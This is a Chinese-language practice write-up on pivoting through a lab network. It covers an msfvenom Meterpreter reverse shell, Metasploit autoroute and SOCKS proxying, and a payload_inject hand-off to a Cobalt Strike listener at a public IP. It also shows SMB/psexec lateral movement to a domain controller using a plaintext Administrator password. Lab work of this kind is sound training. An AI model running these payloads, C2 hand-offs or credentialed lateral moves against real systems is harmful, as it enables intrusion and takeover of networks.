红日靶场内网穿透练习

环境配置

攻击机
win10:192.168.124.25
kali:192.168.124.28
靶机:
win7(web服务器,两块网卡)
外网ip:192.168.124.27
内网ip:192.168.52.143
windows 2008 R2(内网域控主机):192.168.52.138

kali网卡设置:

win7网卡设置:

并开启C盘下的phpstudy
win2008网卡设置:

web服务器win7上线msf

上线

先不通过找靶场的漏洞来上线主机了,直接生成木马上线吧。。目的是练习内网
首先msfvenom生成reverse_tcp木马

1
root@kali430:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=3333 -f exe -o msfreverse.exe

然后kali打开msf:

1
2
3
4
5
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 3333
msf6 exploit(multi/handler) > run

msf代理

msf内置了socks代理,session还活着的情况下可以使用内置代理进行流量转发。

获得shell之后,查看路由:

1
meterpreter > route


通过这个session添加一条通往内网的路由:

1
meterpreter > run autoroute -s 192.168.52.0/24

添加所有通过本机的流量走msf:

1
meterpreter > run autoroute -s 192.168.124.0/24

查看一下添加的路由:

1
meterpreter > run autoroute -p

后台运行:

1
meterpreter > bg

然后通过msf内置模块设置代理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf6 exploit(multi/handler) > search socks

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/socks_proxy normal No SOCKS Proxy Server
1 auxiliary/server/socks_unc normal No SOCKS Proxy UNC Path Redirection
2 auxiliary/scanner/http/sockso_traversal 2012-03-14 normal No Sockso Music Host Server 1.5 Directory Traversal


Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/http/sockso_traversal

msf6 exploit(multi/handler) > use 0

默认使用sock5,可以直接run

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
msf6 auxiliary(server/socks_proxy) > show options

Module options (auxiliary/server/socks_proxy):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
VERSION 5 yes The SOCKS version to use (Accepted: 4a
, 5)


Auxiliary action:

Name Description
---- -----------
Proxy Run a SOCKS proxy server


msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.

[*] Starting the SOCKS proxy server

然后设置一下proxychains的代理:

1
root@kali430:~# leafpad /etc/proxychains.conf

使用dynamic_chain模式(取消掉dynamic_chain的注释),添加socks5代理

浏览器也可以设置代理,访问内网:

访问:

访问不出网域控:

curl测试:

win10中利用Proxifier做代理,win10中也可以访问到52段内网了。

msf会话派生到cs

首先在cs中设置一个监听

然后回到kali的msf中进行设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 auxiliary(server/socks_proxy) > use exploit/windows/local/payload_inject
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf6 exploit(windows/local/payload_inject) > set lhost cs监听ip
lhost => 39.97.187.57
msf6 exploit(windows/local/payload_inject) > set lport cs监听端口
lport => 443
msf6 exploit(windows/local/payload_inject) > set session 1
session => 1
msf6 exploit(windows/local/payload_inject) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf6 exploit(windows/local/payload_inject) > run

注意payload的设置要和cs监听选择的一致

然后win7上线cs了。

cs中转监听上线不出网域控主机(反向连接)

这个意思就是把拥有两块网卡的win7作为流量中转,开启4444端口进行监听,当内网win2008主机有向win7的4444端口发送流量的时候,win7将流量转发至外网cs,反向代理连接上线。
首先重新生成一个中转监听器

注意要填写可以互通内网的ip

然后生成payload


不出网域控主机win2008上线了

查看网络拓扑

cs上线不出网域控主机(正向连接)

psexec+smb协议连接

原理:

SMB Beacon使用场景
当拿到了

拿到win7的权限之后,扫描一下内网的445端口


发现内网不出网域控win2008(192.168.52.138)也开启了445端口,可以通过smb协议进行通信。
建立一个smb监听:

执行命令:

1
2
shell net use \\192.168.52.138\admin$ /user:"Administrator" "sec@2019" 
ls \\192.168.52.138\c$


有回显,继续进行下一步
这里的smb是我建立的smb监听名

1
jump psexec64 192.168.52.138 smb

连接到了内网主机,而且是SYSTEM权限


查看网络拓扑可以看到,通过smb正向连接的线是黄色的(还有tcp等绿色的线,在后面记录)